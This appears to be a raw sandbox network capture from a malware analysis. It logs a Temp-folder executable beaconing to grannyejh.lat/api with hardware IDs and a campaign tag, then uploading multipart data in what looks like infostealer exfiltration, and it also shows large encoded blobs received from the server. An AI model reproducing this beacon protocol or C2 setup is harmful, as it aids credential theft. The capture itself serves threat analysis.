2024-12-18 14:56:58 UTC	913	IN	Data Raw: 38 63 67 61 7a 45 30 32 66 56 47 5a 39 72 52 48 61 4e 7a 61 4c 50 5a 51 48 44 4f 38 34 74 68 54 54 78 49 50 2f 4b 4f 46 50 6d 57 68 6a 4d 76 4f 7a 57 66 72 51 59 68 6d 70 41 58 75 79 45 34 2b 50 46 41 63 73 4c 32 6b 43 35 33 63 56 31 2b 36 4d 34 55 2f 39 7a 52 65 53 4d 7a 4f 35 71 6d 43 57 4c 63 32 77 4b 6a 63 32 61 31 31 31 64 6b 77 50 53 4d 62 31 38 37 54 44 62 79 68 78 6a 36 6d 59 34 39 61 33 68 34 6e 72 56 47 4f 5a 54 78 48 61 68 74 61 71 2f 53 42 58 32 4c 34 38 5a 72 51 58 45 61 63 50 57 50 46 2f 4b 59 68 7a 63 76 4f 6a 36 58 6f 41 6c 6e 33 74 41 58 71 57 6c 6f 75 64 39 4f 62 63 58 2f 69 32 68 4c 50 55 4d 31 73 63 42 54 39 49 54 4a 59 57 73 59 50 35 71 2f 52 46 54 58 33 68 36 6b 64 79 43 6e 6e 46 77 69 77 76 62 47 4e 41 30 2f 52 7a 2f 6a 6a 77 48 32 Data Ascii: 8cgazE02fVGZ9rRHaNzaLPZQHDO84thTTxIP/KOFPmWhjMvOzWfrQYhmpAXuyE4+PFAcsL2kC53cV1+6M4U/9zReSMzO5qmCWLc2wKjc2a111dkwPSMb187TDbyhxj6mY49a3h4nrVGOZTxHahtaq/SBX2L48ZrQXEacPWPF/KYhzcvOj6XoAln3tAXqWloud9ObcX/i2hLPUM1scBT9ITJYWsYP5q/RFTX3h6kdyCnnFwiwvbGNA0/Rz/jjwH2
2024-12-18 14:56:58 UTC	1369	IN	Data Raw: 34 34 34 30 0d 0a 47 71 31 75 61 72 44 61 52 57 2f 45 38 59 35 71 51 44 70 4e 50 2f 61 47 45 50 2b 5a 68 44 70 72 65 48 69 65 74 55 59 35 6c 50 55 65 6f 48 42 78 2b 75 64 47 62 4d 76 39 6b 43 78 53 66 31 74 77 39 6f 4a 54 71 39 79 44 50 69 77 79 4e 5a 4f 75 41 6d 58 5a 33 78 6d 71 61 48 4b 79 33 6b 74 77 79 50 43 44 59 6b 45 30 54 54 44 77 6a 78 33 35 6c 38 6c 33 61 7a 45 67 32 66 56 47 54 74 6e 41 41 71 6c 71 63 66 72 6e 52 6d 7a 4c 2f 5a 41 73 55 6e 39 62 63 50 61 43 55 36 76 63 67 6a 38 6e 4f 6a 69 66 76 77 68 75 78 74 6f 43 70 32 39 6b 74 4e 78 4d 62 38 72 2f 6c 47 68 4e 49 30 4d 31 39 6f 41 65 34 5a 6e 4a 64 32 73 78 49 4e 6e 31 52 6c 76 67 31 77 43 79 5a 69 4b 4e 30 55 74 73 77 75 7a 47 63 77 4d 6f 41 6a 66 39 7a 6b 75 7a 6e 34 55 30 49 6a 4d 33 69 Data Ascii: 4440Gq1uarDaRW/E8Y5qQDpNP/aGEP+ZhDpreHietUY5lPUeoHBx+udGbMv9kCxSf1tw9oJTq9yDPiwyNZOuAmXZ3xmqaHKy3ktwyPCDYkE0TTDwjx35l8l3azEg2fVGTtnAAqlqcfrnRmzL/ZAsUn9bcPaCU6vcgj8nOjifvwhuxtoCp29ktNxMb8r/lGhNI0M19oAe4ZnJd2sxINn1Rlvg1wCyZiKN0UtswuzGcwMoAjf9zkuzn4U0IjM3i
2024-12-18 14:56:58 UTC	1369	IN	Data Raw: 55 32 67 4b 6d 62 32 53 79 31 30 46 75 7a 2f 71 44 66 6b 55 33 52 54 7a 35 69 78 7a 31 6d 59 51 2b 49 44 55 71 69 36 34 43 62 39 69 51 58 75 4e 6d 65 50 69 4b 42 55 66 53 2b 5a 5a 71 54 6e 46 64 66 75 6a 4f 46 50 2f 63 30 58 6b 72 4f 44 53 53 71 67 31 71 30 4e 51 51 72 6d 70 75 74 74 74 4a 61 73 6e 39 6c 47 46 49 4f 55 67 35 39 49 49 65 38 49 36 4b 4f 47 74 34 65 4a 36 31 52 6a 6d 55 39 79 4f 55 51 69 43 6e 6e 46 77 69 77 76 62 47 4e 41 30 77 53 6a 66 2f 69 67 48 39 6a 6f 63 2b 4b 7a 41 77 6b 61 6f 4b 62 39 72 43 47 4b 4a 68 62 72 66 61 54 47 62 45 2f 6f 4a 67 53 6e 45 4d 63 50 61 57 55 36 76 63 6f 54 6f 78 4c 48 71 33 70 67 5a 6d 78 4d 59 4c 34 33 34 75 6f 5a 4a 43 62 6f 57 69 78 6d 68 47 4f 30 73 7a 2b 49 6f 65 38 35 57 47 4d 43 4d 37 4d 49 75 73 44 48 Data Ascii: U2gKmb2Sy10Fuz/qDfkU3RTz5ixz1mYQ+IDUqi64Cb9iQXuNmePiKBUfS+ZZqTnFdfujOFP/c0XkrODSSqg1q0NQQrmputttJasn9lGFIOUg59IIe8I6KOGt4eJ61RjmU9yOUQiCnnFwiwvbGNA0wSjf/igH9joc+KzAwkaoKb9rCGKJhbrfaTGbE/oJgSnEMcPaWU6vcoToxLHq3pgZmxMYL434uoZJCboWixmhGO0sz+Ioe85WGMCM7MIusDH
2024-12-18 14:56:58 UTC	1369	IN	Data Raw: 72 32 74 76 75 39 70 49 59 63 33 6f 68 6d 46 4e 49 31 41 32 2b 6f 42 54 76 64 79 4f 49 57 74 75 65 4b 69 36 44 53 48 4c 6e 67 6e 6a 5a 6d 7a 34 69 67 56 68 7a 2f 65 49 66 6b 6b 33 53 54 50 2f 68 68 62 37 6d 49 4d 30 4a 44 30 79 6b 4b 55 47 62 74 48 59 47 36 56 76 59 62 37 65 53 43 4b 4c 75 6f 46 30 44 57 6b 43 46 2b 75 44 46 65 53 4e 76 44 34 72 5a 33 69 47 34 78 38 68 30 39 78 51 2b 79 46 74 74 4e 68 49 5a 38 48 79 67 57 39 4d 50 55 59 39 2f 49 6f 61 39 35 6d 62 4b 79 30 34 4f 4a 61 6a 43 57 33 47 33 68 57 6a 62 53 44 32 6b 6b 4a 36 68 61 4c 47 58 56 6f 78 41 69 2b 2f 6c 31 50 30 6b 4d 6c 68 61 7a 6b 31 69 36 45 4a 59 64 58 54 46 4b 68 6d 5a 72 37 54 52 6d 66 47 2f 34 42 74 54 54 31 49 4e 2f 6d 45 48 66 36 61 6a 54 38 74 64 6e 62 5a 71 68 34 68 6a 4a 41 Data Ascii: r2tvu9pIYc3ohmFNI1A2+oBTvdyOIWtueKi6DSHLngnjZmz4igVhz/eIfkk3STP/hhb7mIM0JD0ykKUGbtHYG6VvYb7eSCKLuoF0DWkCF+uDFeSNvD4rZ3iG4x8h09xQ+yFttNhIZ8HygW9MPUY9/Ioa95mbKy04OJajCW3G3hWjbSD2kkJ6haLGXVoxAi+/l1P0kMlhazk1i6EJYdXTFKhmZr7TRmfG/4BtTT1IN/mEHf6ajT8tdnbZqh4hjJA
2024-12-18 14:56:58 UTC	1369	IN	Data Raw: 4c 2f 53 53 57 33 43 38 6f 6c 6f 54 54 34 43 66 72 47 4a 43 37 50 45 79 52 6b 67 49 42 6d 58 70 68 51 68 79 35 34 4a 34 32 5a 73 2b 49 6f 46 62 4d 7a 37 6a 6d 4a 42 4f 55 59 69 38 59 55 61 2f 4a 32 47 4f 53 67 33 4d 70 47 2f 41 47 48 66 32 42 65 72 5a 57 36 71 30 30 6f 69 69 37 71 42 64 41 31 70 41 67 48 6e 69 52 54 38 33 71 41 2b 4d 44 63 79 6d 71 59 4b 49 63 75 65 43 65 4e 6d 62 50 69 4b 42 57 2f 4a 39 34 4a 2b 51 54 46 43 4f 66 61 45 41 66 79 54 68 44 6f 72 4d 79 71 59 76 77 6c 71 30 64 4d 55 72 47 35 73 73 4e 67 46 4c 49 58 39 6e 69 77 56 63 57 34 7a 34 49 52 52 31 49 61 66 50 69 63 6e 4d 35 53 68 52 6e 36 61 79 56 43 6b 62 53 44 67 6b 6b 56 6a 79 4f 69 44 62 55 63 37 54 7a 6a 2b 69 78 62 38 6d 49 30 79 4a 53 51 32 6c 71 30 41 61 74 58 56 45 36 68 72 Data Ascii: L/SSW3C8oloTT4CfrGJC7PEyRkgIBmXphQhy54J42Zs+IoFbMz7jmJBOUYi8YUa/J2GOSg3MpG/AGHf2BerZW6q00oii7qBdA1pAgHniRT83qA+MDcymqYKIcueCeNmbPiKBW/J94J+QTFCOfaEAfyThDorMyqYvwlq0dMUrG5ssNgFLIX9niwVcW4z4IRR1IafPicnM5ShRn6ayVCkbSDgkkVjyOiDbUc7Tzj+ixb8mI0yJSQ2lq0AatXVE6hr
2024-12-18 14:56:58 UTC	1369	IN	Data Raw: 35 6d 7a 50 2b 4f 62 30 67 30 53 44 7a 39 6a 78 76 36 6c 6f 77 38 4c 54 77 37 6c 36 49 48 62 64 44 5a 48 71 6f 68 4c 76 6a 56 58 53 4b 64 75 72 42 38 53 69 6c 50 49 4c 4f 38 45 4f 4b 4e 6e 44 51 37 4d 48 71 32 72 67 70 69 30 64 63 41 34 33 34 75 6f 5a 4a 43 62 6f 57 69 78 6d 78 4a 50 55 45 33 2f 34 45 65 2f 4a 75 43 4e 69 45 34 4b 70 61 6f 44 6d 33 63 33 51 4b 70 61 33 4b 78 32 30 68 73 7a 65 69 46 4c 41 4e 78 52 53 69 78 31 6c 50 42 6c 6f 6f 31 50 54 73 33 32 62 4a 49 65 4a 54 58 48 4f 4d 35 49 4b 72 41 52 57 6e 46 2f 59 68 2b 54 44 6c 4e 4f 76 47 49 47 50 6d 66 67 44 30 6c 50 7a 36 59 6f 41 64 67 31 4e 55 51 71 6e 4e 74 2b 4a 77 46 5a 64 32 36 33 69 78 36 50 55 6b 42 38 70 68 54 37 4e 4b 51 65 53 77 36 65 4d 48 74 42 33 50 5a 32 42 53 6a 62 47 61 7a 30 Data Ascii: 5mzP+Ob0g0SDz9jxv6low8LTw7l6IHbdDZHqohLvjVXSKdurB8SilPILO8EOKNnDQ7MHq2rgpi0dcA434uoZJCboWixmxJPUE3/4Ee/JuCNiE4KpaoDm3c3QKpa3Kx20hszeiFLANxRSix1lPBloo1PTs32bJIeJTXHOM5IKrARWnF/Yh+TDlNOvGIGPmfgD0lPz6YoAdg1NUQqnNt+JwFZd263ix6PUkB8phT7NKQeSw6eMHtB3PZ2BSjbGaz0
2024-12-18 14:56:58 UTC	1369	IN	Data Raw: 30 78 6e 34 4e 61 51 4a 33 38 70 77 42 39 5a 2b 66 4f 6d 77 49 42 72 6d 6d 45 47 44 5a 32 78 79 64 58 33 57 37 33 45 74 6c 30 2b 76 47 49 67 30 2b 41 6d 6a 49 7a 6c 75 7a 6f 38 64 35 4d 33 5a 67 32 5a 67 46 62 39 72 58 42 72 49 73 51 4c 50 45 52 47 2f 4f 39 73 52 74 51 43 46 46 63 4c 2f 4f 46 62 50 45 32 58 64 72 4d 69 6e 5a 39 56 59 7a 6a 34 56 44 39 44 45 79 70 35 78 63 49 74 4f 36 33 6a 34 44 63 56 42 77 71 63 35 55 38 49 36 62 50 79 67 67 4f 39 36 54 4f 45 48 66 33 42 4f 76 59 47 66 34 6e 41 56 74 68 61 4b 2f 4c 45 34 6a 55 48 2f 67 6d 42 37 6a 6d 38 55 78 4f 6a 73 30 32 65 4e 47 4c 64 44 62 48 4b 5a 6d 63 50 66 41 56 57 6e 4a 37 4d 70 6f 58 33 45 4d 63 4f 43 46 48 4f 47 53 6a 6e 59 36 49 44 57 4a 72 67 4e 6d 6d 4e 67 42 72 6d 30 67 39 70 4a 51 61 63 Data Ascii: 0xn4NaQJ38pwB9Z+fOmwIBrmmEGDZ2xydX3W73Etl0+vGIg0+AmjIzluzo8d5M3Zg2ZgFb9rXBrIsQLPERG/O9sRtQCFFcL/OFbPE2XdrMinZ9VYzj4VD9DEyp5xcItO63j4DcVBwqc5U8I6bPyggO96TOEHf3BOvYGf4nAVthaK/LE4jUH/gmB7jm8UxOjs02eNGLdDbHKZmcPfAVWnJ7MpoX3EMcOCFHOGSjnY6IDWJrgNmmNgBrm0g9pJQac
2024-12-18 14:56:58 UTC	1369	IN	Data Raw: 52 7a 59 4f 65 4c 32 66 41 50 32 58 6e 7a 35 72 43 58 62 5a 74 55 59 35 6c 4f 55 54 72 57 39 6e 72 73 4d 49 52 4d 62 39 67 47 39 44 4a 6c 4e 77 76 38 34 56 73 38 54 62 64 32 73 79 4b 64 6e 31 56 6a 4f 50 68 55 50 30 4d 54 4b 6e 6e 46 77 69 30 37 72 65 50 77 4e 78 55 48 43 70 7a 6c 54 39 6b 59 67 36 4a 54 55 71 69 36 73 46 64 39 65 58 4c 70 31 45 62 62 58 58 53 32 58 37 78 4b 64 6d 58 54 78 4e 4e 38 2b 77 4a 4f 4b 62 6d 58 73 4e 4e 53 36 61 37 55 67 68 7a 4a 42 49 34 30 42 71 71 4e 39 4b 5a 59 57 30 78 6d 67 4e 61 51 49 56 2f 49 4d 57 2f 5a 76 4c 47 43 45 6d 4e 5a 61 71 52 69 2b 55 33 46 44 37 49 57 47 79 77 6b 68 74 77 72 61 42 64 6b 70 78 44 48 44 2f 7a 6b 75 7a 6e 59 4d 70 4a 6a 6b 2f 31 61 73 49 62 35 54 50 58 72 6f 68 64 76 69 4b 46 69 79 46 36 4d 59 Data Ascii: RzYOeL2fAP2Xnz5rCXbZtUY5lOUTrW9nrsMIRMb9gG9DJlNwv84Vs8Tbd2syKdn1VjOPhUP0MTKnnFwi07rePwNxUHCpzlT9kYg6JTUqi6sFd9eXLp1EbbXXS2X7xKdmXTxNN8+wJOKbmXsNNS6a7UghzJBI40BqqN9KZYW0xmgNaQIV/IMW/ZvLGCEmNZaqRi+U3FD7IWGywkhtwraBdkpxDHD/zkuznYMpJjk/1asIb5TPXrohdviKFiyF6MY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.10	49876	172.67.179.109	443	6976	C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:56:54 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: grannyejh.lat
2024-12-18 14:56:54 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=0B8A630614469655AC8923850305D13E
2024-12-18 14:56:57 UTC	1031	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:56:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=g9r5se70t7oocrtt5qnls5nij4; expires=Sun, 13-Apr-2025 08:43:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tOSEST4tyOvirN8dk1DvEU%2FPtO587SELQQZbbdGS4TufSDe%2F2LRePgwff9jBPv6yvi3UE%2BQR0ReAflegsMR4Pae0x5Fdm2ZBv%2Bx9oE998xHQBh131L6t6tgyb4aduAcl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4000950fb643cd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1705&min_rtt=1692&rtt_var=661&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=979&delivery_rate=1622222&cwnd=252&unsent_bytes=0&cid=818d029c63d65633&ts=3571&x=0"
2024-12-18 14:56:57 UTC	214	IN	Data Raw: 64 30 0d 0a 30 30 5a 74 5a 43 73 44 4c 59 34 73 38 67 53 38 52 49 53 62 6f 50 58 68 46 48 53 41 7a 57 73 46 33 36 51 69 52 2f 54 49 57 59 57 49 50 55 38 52 43 54 6b 50 35 6c 69 47 64 49 59 59 71 38 65 50 78 4e 6b 68 57 72 4c 38 58 69 76 75 6c 52 46 70 78 66 34 46 71 72 77 67 43 7a 67 45 5a 30 6a 6f 41 70 64 38 32 57 61 6f 75 63 61 42 77 79 35 45 72 4f 38 4f 4a 2b 57 55 58 32 75 50 36 69 79 6e 36 57 51 46 45 46 39 7a 46 39 49 44 72 69 75 4e 66 4c 47 31 6b 73 54 55 4f 6b 57 78 2f 6b 55 30 36 66 67 4e 4e 49 43 74 4f 4f 69 50 61 52 38 46 52 57 64 43 34 77 4b 58 66 4e 6c 6d 71 4c 6e 47 67 63 4d 75 52 4b 7a 76 44 69 66 6c 6c 46 38 61 0d 0a Data Ascii: d000ZtZCsDLY4s8gS8RISboPXhFHSAzWsF36QiR/TIWYWIPU8RCTkP5liGdIYYq8ePxNkhWrL8XivulRFpxf4FqrwgCzgEZ0joApd82WaoucaBwy5ErO8OJ+WUX2uP6iyn6WQFEF9zF9IDriuNfLG1ksTUOkWx/kU06fgNNICtOOiPaR8FRWdC4wKXfNlmqLnGgcMuRKzvDifllF8a
2024-12-18 14:56:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.10	49907	172.67.179.109	443	7396	C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:57:01 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Z9BDS9XQFER0HNZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12829 Host: grannyejh.lat
2024-12-18 14:57:01 UTC	12829	OUT	Data Raw: 2d 2d 5a 39 42 44 53 39 58 51 46 45 52 30 48 4e 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 5a 39 42 44 53 39 58 51 46 45 52 30 48 4e 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 5a 39 42 44 53 39 58 51 46 45 52 30 48 4e 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 5a 39 42 44 53 Data Ascii: --Z9BDS9XQFER0HNZContent-Disposition: form-data; name="hwid"0B8A630614469655AC8923850305D13E--Z9BDS9XQFER0HNZContent-Disposition: form-data; name="pid"2--Z9BDS9XQFER0HNZContent-Disposition: form-data; name="lid"PsFKDg--pablo--Z9BDS
2024-12-18 14:57:03 UTC	1037	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:57:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sev256qe8ltck4en3oomre2fs2; expires=Sun, 13-Apr-2025 08:43:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v%2BQOGDxjY%2B83WwXbbP7Q402Lz3C2kW%2FrJ9GWN%2BAJ4Q83K3jWC8o8JdquhQlNUK5Pn6DXkODnERLdrHh5iSBKvCPISGnaKBvKiHid%2By00M9ClrS1twsc9ePS0E64dbXYn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4000bf5921236a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3701&min_rtt=1888&rtt_var=1983&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2830&recv_bytes=13763&delivery_rate=1546610&cwnd=170&unsent_bytes=0&cid=dc6558479e3c26fc&ts=1996&x=0"
2024-12-18 14:57:03 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 14:57:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.10	49927	172.67.179.109	443	7396	C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:57:06 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=FWW9ZM649 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15020 Host: grannyejh.lat
2024-12-18 14:57:06 UTC	15020	OUT	Data Raw: 2d 2d 46 57 57 39 5a 4d 36 34 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 46 57 57 39 5a 4d 36 34 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 46 57 57 39 5a 4d 36 34 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 46 57 57 39 5a 4d 36 34 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 Data Ascii: --FWW9ZM649Content-Disposition: form-data; name="hwid"0B8A630614469655AC8923850305D13E--FWW9ZM649Content-Disposition: form-data; name="pid"2--FWW9ZM649Content-Disposition: form-data; name="lid"PsFKDg--pablo--FWW9ZM649Content-Disp
2024-12-18 14:57:09 UTC	1041	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:57:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ld4msr326hvh05g42rvnsm8ueh; expires=Sun, 13-Apr-2025 08:43:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MSbwhk03oZ1RfQvbRCb7BCVxHKCRLRi%2BWKP691gJ0kZ4JAJ%2FiEQgVr2IwomAVcKJ8sWi%2BgBXbPZK%2FrMwBwtTQLL4%2FN1bvEGb10PPaykTXNrkUcvTTqIsrk0%2B%2F8NnU5DS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4000ddeabcef9f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1778&min_rtt=1766&rtt_var=686&sent=14&recv=19&lost=0&retrans=0&sent_bytes=2830&recv_bytes=15948&delivery_rate=1568206&cwnd=212&unsent_bytes=0&cid=2924dd2412a3d86a&ts=3523&x=0"
2024-12-18 14:57:09 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 14:57:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.10	49948	172.67.179.109	443	7396	C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:57:12 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KEPD8D82TDQIRPA5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20424 Host: grannyejh.lat
2024-12-18 14:57:12 UTC	15331	OUT	Data Raw: 2d 2d 4b 45 50 44 38 44 38 32 54 44 51 49 52 50 41 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4b 45 50 44 38 44 38 32 54 44 51 49 52 50 41 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4b 45 50 44 38 44 38 32 54 44 51 49 52 50 41 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4b 45 Data Ascii: --KEPD8D82TDQIRPA5Content-Disposition: form-data; name="hwid"0B8A630614469655AC8923850305D13E--KEPD8D82TDQIRPA5Content-Disposition: form-data; name="pid"3--KEPD8D82TDQIRPA5Content-Disposition: form-data; name="lid"PsFKDg--pablo--KE
2024-12-18 14:57:12 UTC	5093	OUT	Data Raw: 82 f9 0d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 70 fd 51 30 bf e1 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 0d ae 2f 0a e6 37 fc 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c1 f5 47 c1 fc 86 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b8 be 28 98 df f0 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 06 d7 1f 05 f3 1b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e0 fa a2 60 7e c3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ?lpQ0/74G6(~`~O
2024-12-18 14:57:14 UTC	1037	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:57:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3a0h8vncdod3akc8vr4jdh190j; expires=Sun, 13-Apr-2025 08:43:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GAa%2BIb1RyzeuXv3Cw1JsCpHGF9D1AJuS68AOvD7M8PJjHQxSqoIyvY%2FTeceyR%2FnoWpdpZGYS2HHs%2FzOCoz7TXQ7UCEdDpKDBYEwJXiihOtPvHt5vLf5iEcdhf%2B6eDZTX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4001039bdf4282-EWR alt-svc: h3=":443"; ma=86400 server-timing: 